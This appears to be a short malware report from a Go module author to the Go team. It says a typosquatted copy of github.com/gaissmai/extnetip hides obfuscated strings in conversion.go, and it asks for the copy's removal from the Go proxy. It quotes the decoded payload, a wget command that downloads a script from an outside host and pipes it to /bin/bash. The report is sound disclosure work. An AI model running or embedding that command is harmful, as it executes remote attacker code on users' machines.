It's a copy of my modul github.com/gaissmai/extnetip
but spreads malware.
See the file conversion.go
with obfuscating strings e.g. with following content:
wget -O - https://uniscomputer.icu/storage/de373d0df/a31546bf | /bin/bash &
Please remove this from the go proxy, github is also informed by me.
Best regards and thanks for go! The go team is doing a great job!
